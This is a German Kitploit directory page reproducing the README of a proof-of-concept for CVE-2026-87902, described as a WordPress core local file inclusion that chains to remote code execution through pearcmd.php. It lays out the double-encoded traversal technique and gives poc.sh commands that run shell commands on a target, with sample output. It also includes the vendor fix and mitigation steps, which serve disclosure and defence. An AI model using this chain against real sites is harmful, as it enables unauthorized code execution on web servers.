Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-87902-PoC-pwnVader — Shell-PoC für CVE-2026-87902, eine unauthentifizierte WordPress-Core-LFI über die Auflösung von Seitenvorlagen, die über pearcmd.php zu RCE verkettet wird. | Kitploit
Tools/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
SchwachstellenanalyseExploitationWebanwendungs-ExploitationSicherheitsvirtualisierungWebsicherheitPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

Shell-PoC für CVE-2026-87902, eine unauthentifizierte WordPress-Core-LFI über die Auflösung von Seitenvorlagen, die über pearcmd.php zu RCE verkettet wird.

Repository anzeigen
2vor 4 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902 — Unauthentifizierte lokale Dateieinbindung in der WordPress-Core-Seitentemplate-Auflösung → RCE

Autor: pwnVader · Lizenz: MIT (Repository-Wurzel)

KomponenteWordPress-Core (wp-includes/template.php)
TypCWE-98 — PHP-Dateieinbindung (LFI → RCE)
BetroffenWordPress < 7.1.2 (7.0-Zweig behoben in 7.0.6; 6.x-Backports zweigabhängig)
Behoben7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

Zusammenfassung

get_page_template() fügt page-{urldecode(pagename)}.php zur Seitentemplate-Hierarchie hinzu, wenn die pagename-Query-Variable prozentkodierte Zeichen enthält, und locate_template() löst den Kandidaten mit file_exists() / require auf, ohne zu validieren, dass der Pfad innerhalb des aktiven Themes bleibt. Ein unauthentifizierter Angreifer kann daher eine gewählte lesbare lokale .php-Datei außerhalb des aktiven Themes einbinden und ausführen.

Voraussetzungen:

  1. WordPress < 7.1.2.
  2. Das aktive Theme enthält ein Verzeichnis auf oberster Ebene, das mit page- beginnt (z. B. liefert das offizielle Twenty Fourteen page-templates/ mit). Der Template-Name wird immer mit page- präfixiert, daher muss die erste Pfadkomponente existieren.
  3. Eine gültige öffentliche Seiten-ID, damit die Hauptabfrage eine Seite ist (kein 404). Das Skript ermittelt eine aus der Core-Sitemap, der Body-Klasse der Startseite oder einer kleinen ID-Sonde.

Die Payload ist doppelt kodiert, damit sanitize_title_for_query() die %2e/%2f-Oktette bewahrt; urldecode() innerhalb von get_page_template() rekonstruiert dann ../ zur Template-Auflösungszeit.

Wenn der Server außerdem ein erreichbares pearcmd.php und register_argc_argv = On hat (der Standard im offiziellen PHP-Image), eskaliert die Kette zu Remote Code Execution: Der Query-String wird über +-Trenner zu CLI-argv, pear config-create schreibt eine angreifergesteuerte .php- Datei, und dieselbe LFI bindet sie ein.

Verwendung

root@kitploit:~
# Interaktives Menü (empfohlen für einen schnellen Start)
./poc.sh

# 1) LFI erkennen (nur lesend)
./poc.sh check --target https://example.com

# 2) LFI erkennen und die RCE-Voraussetzungen testen (selbstlöschende Payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Einen Befehl durch die Kette ausführen (selbstlöschende Payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

Optionen: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (oder VDP_AUTHORIZED=1) ist für jeden Modus erforderlich, der schreiben könnte, wenn das Ziel nicht localhost ist.

Beispielausgabe (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

Beispielausgabe (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

Wenn die LFI bestätigt ist, aber PEAR fehlt (oder register_argc_argv aus ist), meldet das Skript die Voraussetzung klar und beendet sich ohne etwas zu schreiben (exit 3).

Erkennungslogik

  1. Eine öffentliche Seiten-ID finden (Sitemap → Body-Klasse der Startseite → numerische Sonde).
  2. Für jedes Kandidaten-page-*-Theme-Verzeichnis und jede Traversal-Tiefe page-<dir>/../../…/wp-includes/version.php über den pagename-Parameter anfordern (POST, leerer Body — erforderlich, weil WordPress GET/HEAD zuerst kanonisch weiterleitet).
  3. Eine 200-Antwort mit einem 0-Byte-Body (im Vergleich zur Multi-KB-Seiten-Baseline) beweist die Einbindung.
  4. RCE-Prüfung: pear config-create durch die LFI mit einer selbstlöschenden Payload versuchen, dann die geschriebene Datei mit einem in der Anfrage übergebenen Befehl einbinden.

Ursache / Fix

Hersteller-Fix in 7.1.2 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

plus eine realpath()-Containment-Prüfung in locate_template() (_wp_is_template_path_allowed()). wordpress-7.0.6 enthält den byte-identischen Fix.

Behebung

  • WordPress-Core auf 7.1.2 aktualisieren (oder 7.0.6 für den 7.0-Zweig).
  • Übergangslösung: pagename-Werte mit Traversal-Sequenzen (.., %2e%2e, %252e%252e) bei jeder HTTP-Methode ablehnen oder die page-*-Theme-Verzeichnis-Voraussetzung entfernen.

Referenzen

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • Hersteller-Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Behobene Releases: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

Haftungsausschluss

Nur für autorisierte Sicherheitstests. Die RCE-Modi verwenden eine selbstlöschende Payload und schreiben nie etwas außer ihrer eigenen temporären Marker-Datei, aber sie führen dennoch Befehle auf dem Ziel aus — führen Sie sie nur dort aus, wo Sie ausdrückliche Genehmigung haben.

Tool herunterladen